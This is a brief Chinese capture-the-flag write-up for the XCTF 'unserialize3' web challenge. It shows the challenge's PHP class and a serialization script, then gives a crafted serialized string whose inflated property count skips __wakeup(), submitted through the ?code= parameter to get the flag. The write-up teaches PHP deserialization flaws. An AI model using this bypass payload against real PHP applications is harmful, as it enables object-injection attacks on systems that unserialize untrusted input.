反序列化漏洞(unserialize3)
来自 攻防世界题目web-unserialize3
原题目
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=xctf类只拥有一个public的flag变量,值为111
代码进行序列化
<?php
class xctf
{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
$b = serialize($a);
echo $b;
?>得出 O:4:"xctf":1:{s:4:"flag";s:3:"111";}
public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值
修改xctf数值 使数值错误 导致序列化异常 从而跳过__wakeup函数
例如 O:4:"xctf":2:{s:4:"flag";s:3:"111";}
使用题目给的?code= 提交 即可拿到Flag
Last updated
Was this helpful?